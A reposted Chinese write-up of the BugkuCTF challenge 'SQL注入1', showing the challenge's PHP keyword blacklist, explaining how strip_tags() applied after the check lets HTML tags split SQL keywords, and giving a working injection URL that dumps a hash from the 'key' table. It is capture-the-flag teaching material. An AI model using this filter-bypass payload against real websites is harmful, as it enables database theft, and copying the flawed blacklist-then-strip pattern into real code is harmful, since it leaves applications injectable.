BugkuCTF SQL注入1

Posted Angel_Kitty

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BugkuCTF SQL注入1相关的知识,希望对你有一定的参考价值。

前言

写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理解,共勉~~~

我们点开链接,里面有段这样的代码:

//过滤sql
$array = array(\'table\',\'union\',\'and\',\'or\',\'load_file\',\'create\',\'delete\',\'select\',\'update\',\'sleep\',\'alter\',\'drop\',\'truncate\',\'from\',\'max\',\'min\',\'order\',\'limit\');
foreach ($array as $value)
{
    if (substr_count($id, $value) > 0)
    {
        exit(\'包含敏感关键字!\'.$value);
    }
}

//xss过滤
$id = strip_tags($id);

$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";

上面 //过滤sql

对sql注入进行了严格的过滤,完全没法注入,但百密必有一疏,

下面的//xss过滤

中的 strip_tags($id) 函数,使得注入有了思路。

首先看一下strip_tags这个函数: 

strip_tags() 函数剥去字符串中的 html、XML 以及 php 的标签。

那么可以利用这点,在union等敏感字中间加上 <a><br>等标签。

根据题目提示说要访问参数为:?id=x

查找表为key的数据表,id=1值hash字段值,我们构造出如下注入语句:

http://103.238.227.13:10087/?id=-1 u<a>nion selec<a>t  1,hash fro<a>m .key

直接爆出了答案,这应该就算我们需要的flag

 

以上是关于BugkuCTF SQL注入1的主要内容,如果未能解决你的问题,请参考以下文章